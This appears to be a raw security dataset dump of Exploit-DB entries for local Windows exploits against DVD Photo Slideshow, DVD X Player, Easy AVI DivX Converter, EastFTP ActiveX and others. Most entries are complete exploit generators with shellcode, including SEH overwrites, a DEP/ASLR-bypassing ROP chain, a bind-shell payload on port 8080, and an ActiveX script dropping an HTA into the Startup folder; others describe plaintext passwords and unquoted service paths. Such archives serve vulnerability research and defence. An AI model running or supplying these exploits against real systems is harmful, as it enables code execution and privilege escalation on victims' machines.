deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48041
Description: DVD Photo Slideshow Professional 8.07 - 'Key' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-11
Author: ZwX

Exploit:
#Exploit Title: DVD Photo Slideshow Professional 8.07 - 'Key' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-10
#Vendor Homepage : http://www.picture-on-tv.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "key.txt".
#2. Just copy the text inside "key.txt".
#3. Start the program. In the new window click "Help" > "Register ...
#4. Now paste the content of "key.txt" into the field: "Registration Key" > Click "Ok"
#5. The calculator runs successfully


#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 1608
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10014283)
#0x10014283 : pop ebx # pop ecx # ret 0x0c |  {PAGE_EXECUTE_READ} [DVDPhotoData.dll] 
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.6.0 (C:\Program Files\DVD Photo Slideshow Professional\DVDPhotoData.dll)
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
    f=open("key.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #48046
Description: DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow
Type: local
Platform: windows
Date: 2020-02-11
Author: ZwX

Exploit:
#Exploit Title: DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-10
#Vendor Homepage : http://www.picture-on-tv.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "name.txt".
#2. Just copy the text inside "name.txt".
#3. Start the program. In the new window click "Help" > "Register ...
#4. Now paste the content of "name.txt" into the field: "Registration Name" > Click "Ok"
#5. The calculator runs successfully


#!/usr/bin/python 

from struct import pack

buffer = "\x41" * 256
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x1004bb51)
#0x1004bb51 : pop edi # pop esi # ret 0x0c |  {PAGE_EXECUTE_READ} [DVDPhotoData.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.6.0 (C:\Program Files\DVD Photo Slideshow Professional\DVDPhotoData.dll)
long_buffer = "\x44" * 600
shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode + long_buffer
try:
    f=open("name.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #45346
Description: DVD Photo Slideshow Professional 8.07 - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-09-07
Author: T3jv1l

Exploit:
# Exploit Title: DVD Photo Slideshow Professional  8.07 - Buffer Overflow (SEH)
# Date: 2018-09-06
# Exploit Author:T3jv1l
# Vendor Homepage:http://www.dvd-photo-slideshow.com/
# Software:www.dvd-photo-slideshow.com/dps_install.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: DVD Photo Slideshow Professional  8.07
# Tested on: Windows 7 SP1 x86
# Method Corelan Coder : https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/

#!/bin/python

print"""
#1.  Download and install the setup file
#2.  Run this exploit code via python 2.7
#3.  A file "Evil.txt" will be created
#4.  Click Help > Register... in tool bar
#5.  Copy the contents of the file (Evil.txt)and paste in the Registration Name field 
#6.  Click Activate and BOOMMMM !!!! """

import struct

junk_byte = "A" * 256
nseh = "\x90\x90\xeb\x10"
seh = struct.pack("<L",0x100152c9) # 0x100152c9 : pop edi # pop esi # ret
nop = "\x90" *24

#Windows - MessageBox + Null-Free Shellcode (113 bytes) : BrokenByte
 
buf = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

crash = "T" * (4000 -len(junk_byte+nseh+seh+nop+buf))
exploit = junk_byte + nseh + seh + nop + buf + crash
try: 
    f=open("Evil.txt","w")
    f.write(exploit)
    f.close()
except:
   print "[+] File cannot be created"
Exploit-DB #17803
Description: DVD X Player 5.5 Pro - Local Overflow (SEH + ASLR + DEP Bypass)
Type: local
Platform: windows
Date: 2011-09-08
Author: Rew

Exploit:
<?php

/*
Title: DVD X Player 5.5 Pro (DEP + ASLR Bypass) Exploit
Date: Sep 08, 2011
Author: Rew (rew@leethax.info)
Discovered by: Blake (http://www.exploit-db.com/exploits/17788/)
Link: http://www.dvd-x-player.com/download/DVDXPlayerSetup.exe
Tested on: WinXP Pro SP3 + OptOut DEP
CVE: NA (0day)

DEP bypass via VirtualProtect
ASLR bypass via non-aslr module (EPG.dll)
No SafeSEH so we use the SEH @ 616 bytes

This is my very first DEP + ASLR bypassing exploit.  awesomeface.jpg
If it looks clunky and rediculous, rather than hating, drop me a line
and offer some advice for improvement.  irc.rizon.net#beer

Many thanks to Corelan Team for their wonderful article here...
http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
*/

$padding_1 = str_repeat("A", 336);

// ROP till ya drop!
$rop = "\x08\xd9\x62\x61";	// push esp; sub eax, 20; pop ebx; retn
$rop .= "JUNK";
$rop .= "\x24\x01\x64\x61";	// xchg eax, ebx; retn
$rop .= "\xe2\xe4\x60\x61";	// xchg eax, ecx; add al, [eax]; add esp, 4; mov eax, esi; pop esi; retn 4
$rop .=	"JUNK";
$rop .= "JUNK";
$rop .= "\x02\x67\x62\x61";	// pop eax; retn
$rop .= "JUNK";
$rop .= "\x08\x11\x01\x10";	// ptr to VirtualProtect
$rop .= "\x37\x13\x63\x61";	// pop edi; pop esi; retn
$rop .= "\x1b\x76\x61\x61";	// retn
$rop .= "\x50\x8b\x62\x61";	// jmp [eax]
$rop .= "\x3f\x85\x60\x61";	// pop ebp; retn
$rop .= "\x66\x56\x60\x61";	// add esp, 8; retn // return of VirtualProtect
$rop .= "\x50\x17\x60\x61";	// pop ebx; retn
$rop .= "\x84\xcd\x6f\x83";	// this will be added to the pointer already in edx to wrap and get 0x00000040
$rop .= "\x9e\x76\x62\x61";	// add edx, ebx; pop ebx; retn 10
$rop .= "\x01\x01\x01\x01";	// dword size // pretty big, but whatever, easier than dealing with nulls
$rop .= "\x31\x08\x62\x61";	// pushad; retn
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "JUNK";
$rop .= "JUNK";
// Couldn't find a good null-free jmp esp, so we do some more ROP to
// get esp in eax and then jmp eax to our shellcode on the stack.
$rop .= "\x08\xd9\x62\x61";	// push esp; sub eax, 20; pop ebx; retn
$rop .= "\x24\x01\x64\x61";	// xchg eax, ebx; retn
$rop .= "\xf0\x8d\x62\x61";	// add eax, 0c; retn // one more little nudge
$rop .= "\x5b\x5e\x62\x61";	// jmp eax;

$padding_2 = str_repeat("\x90", (274 - strlen($rop)));

$jmp = "\xeb\x04";	// over the pivot and into the shellcode

$pivot = "\xae\x74\x60\x61";	// add esp, 408; retn 4

// Win32 XP SP3 WinExec cmd.exe
$shellcode = 
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x2F" .
"\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8" .
"\xc7\x93\xc2\x77\xff\xd0";

$exploit = $padding_1.$rop.$padding_2.$jmp.$pivot.$shellcode;

fwrite(fopen("eggsploit.plf", "w"), $exploit);

?>
Exploit-DB #17788
Description: DVD X Player 5.5 Pro - Overwrite (SEH)
Type: local
Platform: windows
Date: 2011-09-06
Author: blake

Exploit:
# DVD X Player 5.5 Pro
# Bypass ASLR by using non-aslr enabled module
# SEH Overwrite
# Egghunter is not needed as there is at least 2000 bytes for shellcode


import sys

print "===================================="
print "DVD X Player 5.5 Pro Buffer Overflow"
print "    SEH Overwrite - Bypass ASLR     "
print "         Written by Blake           "
print "===================================="

# size = 325 bytes
# ./msfvenom -p windows/shell/bind_tcp LPORT=8080 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x1a' -f c
shellcode=(
"\xba\x16\x44\x8a\xd1\xdb\xd1\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x4b\x31\x55\x14\x83\xc5\x04\x03\x55\x10\xf4\xb1\x76\x39\x71"
"\x39\x87\xba\xe1\xb3\x62\x8b\x33\xa7\xe7\xbe\x83\xa3\xaa\x32"
"\x68\xe1\x5e\xc0\x1c\x2e\x50\x61\xaa\x08\x5f\x72\x1b\x95\x33"
"\xb0\x3a\x69\x4e\xe5\x9c\x50\x81\xf8\xdd\x95\xfc\xf3\x8f\x4e"
"\x8a\xa6\x3f\xfa\xce\x7a\x3e\x2c\x45\xc2\x38\x49\x9a\xb7\xf2"
"\x50\xcb\x68\x89\x1b\xf3\x03\xd5\xbb\x02\xc7\x06\x87\x4d\x6c"
"\xfc\x73\x4c\xa4\xcd\x7c\x7e\x88\x81\x42\x4e\x05\xd8\x83\x69"
"\xf6\xaf\xff\x89\x8b\xb7\x3b\xf3\x57\x32\xde\x53\x13\xe4\x3a"
"\x65\xf0\x72\xc8\x69\xbd\xf1\x96\x6d\x40\xd6\xac\x8a\xc9\xd9"
"\x62\x1b\x89\xfd\xa6\x47\x49\x9c\xff\x2d\x3c\xa1\xe0\x8a\xe1"
"\x07\x6a\x38\xf5\x31\x31\x55\x3a\x0f\xca\xa5\x54\x18\xb9\x97"
"\xfb\xb2\x55\x94\x74\x1c\xa1\xdb\xae\xd8\x3d\x22\x51\x18\x17"
"\xe1\x05\x48\x0f\xc0\x25\x03\xcf\xed\xf3\x83\x9f\x41\xac\x63"
"\x70\x22\x1c\x0b\x9a\xad\x43\x2b\xa5\x67\xec\x9a\x81\xdb\x7b"
"\xde\x35\xc3\xeb\x57\xd3\x91\x1b\x31\x4b\x0e\xde\x66\x44\xa9"
"\x21\x4d\xf8\x62\xb6\xda\x16\xb4\xb9\xdb\x3c\x96\x16\x74\xd7"
"\x6d\x75\x41\xc6\x71\x50\xe2\x9f\xe6\x2e\x62\xed\x97\x2f\xaf"
"\x87\x57\xba\x4b\x0e\x0f\x52\x51\x77\x67\xfd\xaa\x52\xf3\x34"
"\x3e\x1d\x6c\x39\xae\x9d\x6c\x6f\xa4\x9d\x04\xd7\x9c\xcd\x31"
"\x18\x09\x62\xea\x8d\xb1\xd3\x5e\x05\xd9\xd9\xb9\x61\x46\x21"
"\xec\x73\xbb\xf4\xc9\xf1\xcd\x72\x3a\x3a")

# 32 byte egghunter
egghunter =(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x54\x30\x30\x57" # egg - W00T
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")


# overwrite EIP = 260 bytes
# overwrite SEH = 616 bytes - 0x61602adb pop edi; pop esi; ret [EPG.dll]

egg = "\x54\x30\x30\x57\x54\x30\x30\x57"
buffer = "\x41" * 608
next_seh = "\xeb\x06\x90\x90"	# jump forward 6 bytes
seh = "\xdb\x2a\x60\x61"	# pop/pop/ret
nops = "\x90" * 20

print "[+] Creating malicious plf"
try:
	file = open("owned.plf","w")
	file.write(buffer + next_seh + seh + nops + egghunter + nops + egg + shellcode)
	file.close()
	print "[+] File created successfully"
	raw_input("[+] Press any key to exit")
except:
	print "[X] Error creating file!"
	sys.exit(0)
Exploit-DB #17745
Description: DVD X Player 5.5 Professional - '.plf' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2011-08-29
Author: D3r K0n!G

Exploit:
#!/usr/bin/perl
# Exploit Title: DVD X Player 5.5 Professional (.plf) Universal Buffer Overflow
# Date: 29/08/2011
# Author: D3r K0n!G
# Version: 5.5
# Tested on: Windows XP SP3
# CVE : N/A
# Greets to: All my friends;((Dz)& muslims)
# sec4ever.com & h4kz.net
my $file = "dvd.plf";
my $buff = "\x41" x 260;
my $ret = pack ('V',0x02AF11BC);	# JMP ESP from EchoDelayProcess.dll
my $shellcode = "\x90" x 200;
# windows/exec EXITFUNC=seh CMD=calc.exe R | ruby msfencode -e x86/alpha_upper -t c
# http://www.metasploit.com
$shellcode = $shellcode . "\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43".
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34".
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41".
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30".
"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52".
"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b".
"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50".
"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c".
"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54".
"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b".
"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c".
"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31".
"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47".
"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54".
"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e".
"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30".
"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51".
"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51".
"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45".
"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50".
"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56".
"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a".
"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c".
"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38".
"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b".
"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d".
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d".
"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53".
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43".
"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35".
"\x45\x50\x41\x41";
open($FILE, ">$file");
print $FILE $buff.$ret.$shellcode;
close($FILE);
Exploit-DB #23037
Description: DWebPro 3.4.1 - Http.ini Plaintext Password Storage
Type: local
Platform: windows
Date: 2003-08-18
Author: rUgg1n3

Exploit:
source: https://www.securityfocus.com/bid/8438/info

A vulnerability has been reported to exist in the DWebPro web server software. This problem allows an attacker to view database authentication credentials by accessing a plain text file named 'http.ini'.

An attacker will require read access to this file in order to steal sensitive authentication information that may be used in further attacks. 

[MySQL]
CopyDataToHardDisk=0
DaemonPath=##DWEBPATH##\engine\mysql\bin\mysqld.exe
BaseDir=##DWEBPATH##\engine\mysql
BinDir=##DWEBPATH##\engine\mysql\bin
DataDir=##DWEBPATH##\engine\mysql\data
DestinationDir=##TEMP##\dweb
Overwrite=0
Port=3306
ShutDownOnExit=1
StartMySQL=1
CustomParams=
*Username=root*
*Password=root
Exploit-DB #50466
Description: Dynojet Power Core 2.3.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-11-02
Author: Pedro Sousa Rodrigues

Exploit:
# Exploit Title: Dynojet Power Core 2.3.0 - Unquoted Service Path
# Exploit Author: Pedro Sousa Rodrigues (https://www.0x90.zone/ / @Pedro_SEC_R)
# Version: 2.3.0 (Build 303)
# Date: 30.10.2021
# Vendor Homepage: https://www.dynojet.com/
# Software Link: https://docs.dynojet.com/Document/18762
# Tested on: Windows 10 Version 21H1 (OS Build 19043.1320)

SERVICE_NAME: DJ.UpdateService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DJ.UpdateService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
PS C:\Users\Developer> Get-UnquotedService


ServiceName    : DJ.UpdateService
Path           : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
                 Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath>
CanRestart     : True
Name           : DJ.UpdateService

ServiceName    : DJ.UpdateService
Path           : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'DJ.UpdateService' -Path <HijackPath>
CanRestart     : True
Name           : DJ.UpdateService

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path (depending on the installation path). The service might be executed manually by any Authenticated user. If successful, the local user's code would execute with the elevated privileges of Local System.
Exploit-DB #50886
Description: EaseUS Data Recovery - 'ensserver.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-04-19
Author: bios

Exploit:
# Exploit Title: EaseUS Data Recovery - 'ensserver.exe'  Unquoted Service Path
# Discovery by: bios
# Discovery Date: 2022-18-04
# Vendor Homepage: https://www.easeus.com/
# Tested Version: 15.1.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto
| findstr /i /v "C:\Windows\\" | findstr /i /v """
EaseUS UPDATE SERVICE
        EaseUS UPDATE SERVICE                     C:\Program Files
(x86)\EaseUS\ENS\ensserver.exe                                          Auto

C:\>sc qc "EaseUS UPDATE SERVICE"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EaseUS UPDATE SERVICE
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\EaseUS\ENS\ensserver.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : EaseUS UPDATE SERVICE
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

Host Name:                 DESKTOP-HR3T34O
OS Name:                   Microsoft Windows 10 Home
OS Version:                10.0.19042 N/A Build 19042
Exploit-DB #24863
Description: EastFTP 4.6.02 - ActiveX Control
Type: local
Platform: windows
Date: 2013-03-20
Author: Dr_IDE

Exploit:
#################################################################
#
# EastFTP ActiveX Control 0Day
# By: Dr_IDE
# Vendor Homepage:http://www.ftpocx.com/download.htm
# Version: 4.6.02
#
# Self Promotion: http://irresponsibledisclosure.blogspot.com
#################################################################

<html>
<object classid='clsid:31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "><" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
var easy = 1;
target.LocalFileWrite(sofa,king,easy);
</script>
<body>
EaseFTP ActiveX Control 0-Day Local Exploit<br>
By: Dr_IDE<br>
Self Promotion: http://irresponsibledisclosure.blogspot.com<br>
Vendor Homepage:http://www.ftpocx.com/download.htm<br>
Version: 4.6.02<br>
Class FtpLibrary<br>
GUID: {31AE647D-11D1-4E6A-BE2D[PII_REDACTED]9A}<br>
Number of Interfaces: 1<br>
Default Interface: _FtpLibrary<br>
RegKey Safe for Script: False<br>
RegkeySafe for Init: False<br>
KillBitSet: False<br>
</body>
</html>
Exploit-DB #42549
Description: Easy AVI DivX Converter 1.2.24 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-08-24
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        Easy AVI DivX Converter 1.2.24 - 'Enter User Name' Field Buffer Overflow (SEH)
# Date:                 24-08-2017
# Exploit Author:       Anurag Srivastava 
# Website:		www.pyramidcyber.com
# Vulnerable Software:  Easy AVI DivX Converter 
# Vendor Homepage:      http://www.divxtodvd.net/
# Version:              1.2.24
# Software Link:        http://www.divxtodvd.net/easy_avi_converter.exe
# Tested On:            Windows 7 x64 
#
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of pyramid.txt
#
##############################################################################
 

buffer = "\x41" * 1008   
 
nSEH = "\xeb\x10\x90\x90"
 
# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"
 
badchars = "\x00\x0a\x0d" # and 0x80 to 0xff
 
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
 
nops = "\x90" * 16
 
badchars = "\x0a\x0d"
 
data = buffer + nSEH + SEH + nops + buf
 
f = open ("pyramid.txt", "w")
f.write(data)
f.close()